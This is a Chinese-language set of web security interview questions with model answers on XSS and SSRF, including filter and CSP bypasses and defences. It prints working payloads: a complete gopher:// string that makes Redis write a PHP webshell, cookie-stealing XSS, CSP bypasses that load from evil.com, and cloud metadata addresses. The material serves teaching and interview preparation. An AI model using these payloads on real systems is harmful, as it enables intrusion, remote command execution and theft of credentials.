安恒Web安全面试题
《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
以下是针对 XSS/SSRF漏洞场景复现与绕过技术的模拟面试题目及参考答案,涵盖基础原理、实战场景和高级绕过思路:
一、XSS漏洞相关题目
1. 基础原理
题目:请解释反射型XSS、存储型XSS和DOM型XSS的区别,并各举一个实际场景。
参考答案:
反射型XSS:攻击载荷通过URL参数传递并直接输出到页面,不持久化(如搜索框输入恶意脚本)。
例如:http://example.com/search?q=<script>alert(1)</script>。
存储型XSS:攻击载荷存储在服务器端(如评论、留言板),每次访问页面时触发。
例如:用户提交恶意评论<img src=x onerror=stealCookie()>。
DOM型XSS:漏洞由前端JavaScript操作DOM时未过滤输入导致,不依赖服务端响应。
例如:document.write(location.hash.slice(1))中location.hash可控。
2. 绕过过滤
题目:假设目标网站对<script>
标签和onerror
事件进行过滤,如何绕过?
参考答案:
HTML标签替代:
使用<img src=x>结合<svg/onload=alert(1)>或<a href=javascript:alert(1)>。
编码混淆:
将alert(1)转为Unicode编码(如\u0061\u006c\u0065\u0072\u0074(1))或HTML实体编码。
事件属性替代:
利用onmouseover、autofocus onfocus等非敏感事件。
3. 高级绕过(CSP策略)
题目:若网站设置CSP策略Content-Security-Policy: script-src 'self'
,如何绕过?
参考答案: JSONP劫持:
若允许self域,寻找同域下JSONP接口,构造<script src="/api?callback=alert(1)//"></script>。
CSP绕过标签:
使用<link rel="prefetch" href="http://evil.com">或<base href="http://evil.com">加载外部资源。
Nonce泄露:
若CSP包含nonce-xxx,通过其他漏洞窃取nonce值后注入合法脚本。
二、SSRF漏洞相关题目
1. 基础原理
题目:解释SSRF漏洞的成因及常见利用场景。
参考答案:
-
成因:
服务端未校验用户输入的URL,直接请求内部或外部资源(如file_get_contents($_GET['url']))。
-
利用场景:
1、读取本地文件:http://internal-server/etc/passwd。<br/>
2、攻击内网服务:扫描内网Redis、MySQL等未授权访问服务。<br/>
3、云元数据泄露:AWS的169.254.169.254或阿里云100.100.100.200。
2. 绕过黑名单
题目:若服务端禁止访问127.0.0.1和localhost,如何绕过?
参考答案:
-
IP格式转换:
十进制IP:127.0.0.1 → 2130706433。
八进制IP:0177.0.0.1(需环境支持)。
-
域名指向:
注册域名解析到127.0.0.1(如localtest.me)。
-
URL编码:
http://%6c%6f%63%61%6c%68%6f%73%74(localhost的十六进制编码)。
3. 协议利用
题目:如何利用SSRF探测内网Redis未授权访问?
参考答案:
Payload构造:
http://attacker.com/ssrf.php?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2458%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
步骤:
1.通过Gopher协议发送Redis命令,写入Webshell。
2.访问http://192.168.1.10/shell.php?cmd=id验证RCE。
三、综合实战题
题目:假设目标网站存在一个上传功能,允许用户上传图片,但后端会检查文件头(如GIF89a),如何结合XSS和SSRF进行攻击?
参考答案:
1. 上传恶意图片:
制作包含XSS Payload的GIF文件:
GIF89a/*<svg/onload=alert(document.cookie)>*/
上传后图片URL为http://target.com/images/evil.gif。
2. 触发SSRF:
构造SSRF请求读取上传的图片(利用服务端渲染功能):
http://internal-server/render?url=http://target.com/images/evil.gif
当服务端渲染图片时,XSS Payload被执行,窃取内部系统Cookie。
四、面试官追问方向
1. 防御方案:
1)XSS:输出编码(HTML实体化)、CSP策略、输入验证(如白名单标签)。
2)SSRF:禁用非常用协议(如gopher://、file://)、使用白名单域名/IP、请求前解析并校验目标地址。
2. 绕过新思路:
1)利用DNS重绑定技术绕过IP黑名单。
2)通过分块编码(Transfer-Encoding: chunked)绕过某些WAF检测。
通过此类问题,面试官可考察候选人对漏洞原理的掌握程度、实战经验及创新绕过能力。建议结合自身项目经验补充具体案例。